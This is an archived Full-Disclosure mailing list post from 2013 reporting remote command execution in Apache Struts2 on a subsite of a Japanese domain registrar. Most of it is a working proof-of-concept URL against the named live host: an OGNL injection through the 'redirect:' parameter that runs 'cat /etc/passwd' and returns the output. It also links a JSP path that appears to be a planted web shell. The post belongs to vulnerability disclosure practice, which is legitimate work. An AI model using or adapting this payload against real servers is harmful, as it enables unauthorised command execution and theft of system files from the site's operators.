full-disclosure - Japan's largest domain name registrar a subsite remote command execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sun, 13 Oct 2013 21:51:29 +0800
From: you help <help.en@...yun.org>
To: full-disclosure@...ts.grok.org.uk
Subject: Japan's largest domain name registrar a subsite
	remote command execution

*Abstract:*

Japan's largest domain name registrar a subsite remote command execution

Details：

Apache struts2 a vulnerability introduced by manipulating parameters
prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command
execution。

URL:
http://dom.onamae.com/biglobe-ddns/detail.do

*Proofs of concept:*

http://dom.onamae.com/biglobe-ddns/detail.do?redirect:${%23s%3dnew%20java.util.ArrayList(),%23x%3dnew%20java.lang.String(%22cat%22),%23xx%3dnew%20java.lang.String(%22/etc/passwd%22),%23s.add(%23x),%23s.add(%23xx),%23a%3dnew%20java.lang.ProcessBuilder(%23s).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23dddddd%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23dddddd.println(%23d),%23dddddd.close()}

http://dom.onamae.com/biglobe-ddns/s.jsp

_______________________________________________


Form: http://en.wooyun.org/bugs/wooyun-2013-011

Author: Finger <http://en.wooyun.org/whitehats/Finger>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/